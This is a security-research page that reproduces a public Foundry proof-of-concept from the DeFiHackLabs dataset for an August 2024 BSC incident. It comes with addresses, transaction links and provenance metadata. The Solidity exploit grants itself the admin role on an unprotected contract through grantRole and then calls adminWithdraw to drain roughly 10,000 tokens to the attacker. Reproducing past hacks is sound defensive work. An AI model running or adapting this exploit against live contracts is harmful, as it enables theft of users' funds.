Public reproduction file
src/test/2024-08/unverified_667d_exp.sol
Public reproduction file for dataset entry Unverified_667d.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1pragma solidity ^0.8.10;3import "forge-std/Test.sol";4import "../interface.sol";6// @KeyInfo - Total Lost : 10k7// Attacker : https://bscscan.com/address/0x847705eeb01b4f2ae9a92be12615c1052f52e7ad8// Attack Contract : https://bscscan.com/address/0xa2d1e47e1a154dd51f2eae0413100c4f8abe13c7, https://bscscan.com/address/0xd0a60158b6a5ef01cee3ba9652df695671f366e39// Vulnerable Contract : https://bscscan.com/address/0x8de7eaba58efb23b6f323984377af582b23134e910// Attack Tx : https://bscscan.com/tx/0x56d3ed5f635b009e19d693e432479323b23b3eb368cf04e161adbc672a15898e12// @Info13// Vulnerable Contract Code : 15// @Analysis16// Post-mortem : https://x.com/TenArmorAlert/status/182898356927823103817// Twitter Guy : https://x.com/TenArmorAlert/status/182898356927823103818// Hacking God : N/A20address constant addr1 = 0x603dd1d86b9bC3Ba7aB5c0267eaf7293Ca2abc52;21address constant header_addr = 0x667DFEd3C4D56DF32Ecc3F2E3CE5BcC4ef03A6Dc;22address constant vul_addr = 0x8DE7EAbA58EfB23B6F323984377af582B23134e9;23address constant attacker = 0x847705EEB01b4f2Ae9a92BE12615C1052F52e7Ad;24address constant dai = 0x1AF3F329e8BE154074D8769D1FFa4eE058B1DBc3;27contract ContractTest is Test {28 function setUp() public {29 vm.createSelectFork("bsc", 41770501);30 }32 function testPoC() public {33 vm.startPrank(attacker, attacker);34 AttackerC attC = new AttackerC();35 vm.stopPrank();36 emit log_named_decimal_uint("after attack: balance of address(attC)", IERC20(dai).balanceOf(address(attacker)), 18);37 }38}40// 0xA2d1e47e1A154dD51f2eae0413100c4F8ABE13C741contract AttackerC {42 constructor() {43 // vul_addr.grantRole(bytes32 role, address account)44 (bool s1,) = vul_addr.call(45 abi.encodeWithSelector(46 bytes4(keccak256("grantRole(bytes32,address)")),47 bytes32(0),48 address(this)49 )50 );51 require(s1, "grantRole failed");53 // vul_addr.adminWithdraw(address handlerAddress, address tokenAddress, address recipient, uint256 amountOrTokenID)54 (bool s2,) = vul_addr.call(55 abi.encodeWithSelector(56 bytes4(keccak256("adminWithdraw(address,address,address,uint256)")),57 header_addr,58 dai,59 attacker,60 uint256(10463638549999999999999)61 )62 );63 require(s2, "adminWithdraw failed");64 }65}Analysis
Dataset entry
Public Foundry test for “Unverified_667d” (2024-08-28). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-08/AAVE_Repay_Adapter.solSame month in the dataset · 363 lines
- src/test/2024-08/COCO_exp.solSame month in the dataset · 57 lines
- src/test/2024-08/Convergence_exp.solSame month in the dataset · 79 lines
- src/test/2024-08/IvestDao_exp.solSame month in the dataset · 66 lines
- src/test/2024-08/NovaXM2E_exp.solSame month in the dataset · 72 lines
- src/test/2024-08/OMPxContract_exp.solSame month in the dataset · 107 lines
- src/test/2024-08/VOW_exp.solSame month in the dataset · 120 lines
- src/test/2024-08/YodlRouter_exp.solSame month in the dataset · 66 lines
- src/test/2024-08/Zenterest_exp.solSame month in the dataset · 54 lines
- src/test/2026-03/unverified_237d_exp.solSame protocol or name in the dataset · 162 lines
- src/test/2026-03/unverified_1304_exp.solSame protocol or name in the dataset · 178 lines
- src/test/2025-08/unverified_d132_exp.solSame protocol or name in the dataset · 207 lines
- src/test/2025-07/unverified_8fd3_exp.solSame protocol or name in the dataset · 105 lines
- src/test/2025-03/unverified_3f27_exp.solSame protocol or name in the dataset · 112 lines
- src/test/2025-03/unverified_de7c_exp.solSame protocol or name in the dataset · 129 lines
- src/test/2025-07/unverified_54cd_exp.solSame protocol or name in the dataset · 77 lines
- src/test/2025-04/Unverified_6077_exp.solSame protocol or name in the dataset · 99 lines
- src/test/2025-05/unverified_0000_exp.solSame protocol or name in the dataset · 99 lines
- src/test/2024-09/unverified_03f9_exp.solSame protocol or name in the dataset · 73 lines
- src/test/2025-02/unverified_35bc_exp.solSame protocol or name in the dataset · 91 lines
- src/test/2024-09/unverified_5697_exp.solSame protocol or name in the dataset · 40 lines
- src/test/2025-08/unverified_6f7a_exp.solSame protocol or name in the dataset · 229 lines
- src/test/2024-09/unverified_766a_exp.solSame protocol or name in the dataset · 74 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x847705eeb01b4f2ae9a92be12615c1052f52e7ad
- Attack Contract
0xa2d1e47e1a154dd51f2eae0413100c4f8abe13c7
- Vulnerable Contract
0x8de7eaba58efb23b6f323984377af582b23134e9
- Attack Tx
0x56d3ed5f635b009e19d693e432479323b23b3eb368cf04e161adbc672a15898e
- Post: https://x.com/TenArmorAlert/status/1828983569278231038
- Explorer: https://bscscan.com/address/0x847705eeb01b4f2ae9a92be12615c1052f52e7ad
- Explorer: https://bscscan.com/address/0xd0a60158b6a5ef01cee3ba9652df695671f366e3
- Explorer: https://bscscan.com/address/0x8de7eaba58efb23b6f323984377af582b23134e9
File record
- Name
- Unverified_667d
- Path
- src/test/2024-08/unverified_667d_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- ff0a3660059caf8019c3f111e9b7428978e63907
- Language
- Solidity
- Size
- 65 lines
- Date
- 2024-08-28
- Licence
- ThreatWire editorial text
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-08/unverified_667d_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob ff0a3660059caf8019c3f111e9b7428978e63907, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.